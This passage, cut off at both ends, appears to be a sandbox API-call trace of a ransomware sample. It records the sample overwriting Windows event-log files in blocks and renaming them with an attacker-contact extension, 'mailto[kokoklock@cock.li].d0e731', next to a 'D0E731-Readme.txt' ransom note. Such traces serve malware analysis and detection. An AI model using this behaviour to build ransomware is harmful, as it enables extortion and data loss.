(lpExistingFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.740] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.740] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.740] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.740] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.741] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98018) returned 1 [0164.741] RtlExitUserThread (Status=0x1) Thread: id = 1536 os_tid = 0xedc [0164.742] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.742] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.743] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.743] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6feff00 | out: lpFileSize=0x6feff00*=69824) returned 1 [0164.743] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.743] ReadFile (in: hFile=0x4a0, lpBuffer=0x6fefed4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6fefed0, lpOverlapped=0x0 | out: lpBuffer=0x6fefed4*, lpNumberOfBytesRead=0x6fefed0*=0x4, lpOverlapped=0x0) returned 1 [0164.744] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab758 [0164.744] NtQuerySystemTime (in: CurrentTime=0x6fefeac | out: CurrentTime=0x6fefeac*=132121213220528292) returned 0x0 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x6a127c93 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xdc27c539 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x751f77c8 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xc5738b86 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xba2a4b20 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xd5e4afce [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xf515e6ef [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x46685b2d [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xbe2ec6a2 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x3b6d66e0 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x6b5cd6a6 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x86f5657b [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x1e906966 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x16ed0785 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x6d347b06 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x34b727e3 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x9f9cd127 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x6a6166e3 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x315fe67 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xdbbb87c9 [0164.744] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x81da9a0e [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x99e96b0d [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x84ad25a7 [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x34ea424a [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x81a62a94 [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x75610cd6 [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xe7b67a79 [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0xf4156abf [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x313839d5 [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x8b31c701 [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x7d86edc0 [0164.745] RtlRandom (in: Seed=0x6fefeb8 | out: Seed=0x6fefeb8) returned 0x5490d773 [0164.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab820 [0164.756] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.756] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab938 [0164.756] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.756] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.756] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.756] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.756] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6fefe84, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6fefe84*=0x4096, lpOverlapped=0x0) returned 1 [0164.757] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0164.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.757] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7d0 [0164.757] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7d0) returned 1 [0164.758] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.758] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7d0 [0164.758] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab780 [0164.758] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab780) returned 1 [0164.758] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.758] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0164.758] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6fefe84, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6fefe84*=0x4096, lpOverlapped=0x0) returned 1 [0164.758] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.758] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.758] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6fefebc, lpOverlapped=0x0 | out: lpBuffer=0x2fab7d0*, lpNumberOfBytesWritten=0x6fefebc*=0x20, lpOverlapped=0x0) returned 1 [0164.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7d0) returned 1 [0164.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.759] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab938*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6fefed0, lpOverlapped=0x0 | out: lpBuffer=0x2fab938*, lpNumberOfBytesWritten=0x6fefed0*=0x8, lpOverlapped=0x0) returned 1 [0164.759] WriteFile (in: hFile=0x4a0, lpBuffer=0x6fefee8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6fefed0, lpOverlapped=0x0 | out: lpBuffer=0x6fefee8*, lpNumberOfBytesWritten=0x6fefed0*=0x4, lpOverlapped=0x0) returned 1 [0164.759] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6fefed0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6fefed0*=0x4, lpOverlapped=0x0) returned 1 [0164.759] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6fefed0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6fefed0*=0x6c, lpOverlapped=0x0) returned 1 [0164.759] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab960*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6fefed0, lpOverlapped=0x0 | out: lpBuffer=0x2fab960*, lpNumberOfBytesWritten=0x6fefed0*=0x20, lpOverlapped=0x0) returned 1 [0164.759] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6fefed0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6fefed0*=0x4, lpOverlapped=0x0) returned 1 [0164.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab820) returned 1 [0164.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab938) returned 1 [0164.759] CloseHandle (hObject=0x4a0) returned 1 [0164.760] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f85918 [0164.760] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.760] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.760] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.764] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.764] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.764] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.764] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.764] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.764] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.764] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.764] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.764] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f980e0) returned 1 [0164.764] RtlExitUserThread (Status=0x1) Thread: id = 1537 os_tid = 0xee0 [0164.767] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.767] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.768] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.768] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x706fda0 | out: lpFileSize=0x706fda0*=69824) returned 1 [0164.768] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.768] ReadFile (in: hFile=0x4a0, lpBuffer=0x706fd74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x706fd70, lpOverlapped=0x0 | out: lpBuffer=0x706fd74*, lpNumberOfBytesRead=0x706fd70*=0x4, lpOverlapped=0x0) returned 1 [0164.769] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.769] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab938 [0164.769] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0164.769] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab780 [0164.769] NtQuerySystemTime (in: CurrentTime=0x706fd4c | out: CurrentTime=0x706fd4c*=132121213220840545) returned 0x0 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xc9dd0ab1 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xfd029959 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x83ce4cd7 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x40a5c6b9 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xef73a7b0 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xb89fdba9 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x37f9b086 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xf00837 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x390c1515 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x232122bb [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x470dc513 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xaf87d22a [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xc8a41cd9 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x43c9b0f1 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xba661977 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x435504d0 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x902618b0 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x874177d5 [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x1f8a0dd [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x2028393c [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xb3cb7d8e [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xb924b18e [0164.769] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xed268f15 [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x399ab79d [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x3bfe168a [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xb9a06796 [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x888a3044 [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x91909a4a [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xe103e5a2 [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0xc6a589c6 [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x9cb47236 [0164.770] RtlRandom (in: Seed=0x706fd58 | out: Seed=0x706fd58) returned 0x7dd7348b [0164.778] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.780] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.780] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.780] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.780] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab938) returned 1 [0164.780] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.780] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.780] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x706fd24, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x706fd24*=0x4096, lpOverlapped=0x0) returned 1 [0164.781] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.781] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0164.781] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.781] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.781] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7f8) returned 1 [0164.781] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.782] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.782] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.782] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.782] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.782] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0164.782] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x706fd24, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x706fd24*=0x4096, lpOverlapped=0x0) returned 1 [0164.782] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.782] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.782] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x706fd5c, lpOverlapped=0x0 | out: lpBuffer=0x2fab7f8*, lpNumberOfBytesWritten=0x706fd5c*=0x20, lpOverlapped=0x0) returned 1 [0164.782] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7f8) returned 1 [0164.782] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.783] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x706fd70, lpOverlapped=0x0 | out: lpBuffer=0x2fab960*, lpNumberOfBytesWritten=0x706fd70*=0x8, lpOverlapped=0x0) returned 1 [0164.783] WriteFile (in: hFile=0x4a0, lpBuffer=0x706fd88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x706fd70, lpOverlapped=0x0 | out: lpBuffer=0x706fd88*, lpNumberOfBytesWritten=0x706fd70*=0x4, lpOverlapped=0x0) returned 1 [0164.783] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x706fd70, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x706fd70*=0x4, lpOverlapped=0x0) returned 1 [0164.783] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x706fd70, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x706fd70*=0x6c, lpOverlapped=0x0) returned 1 [0164.783] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x706fd70, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x706fd70*=0x20, lpOverlapped=0x0) returned 1 [0164.783] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x706fd70, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x706fd70*=0x4, lpOverlapped=0x0) returned 1 [0164.783] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0164.783] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.783] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.783] CloseHandle (hObject=0x4a0) returned 1 [0164.783] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85918 [0164.783] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.784] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.784] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.784] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.785] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.785] SetFileAttributesW 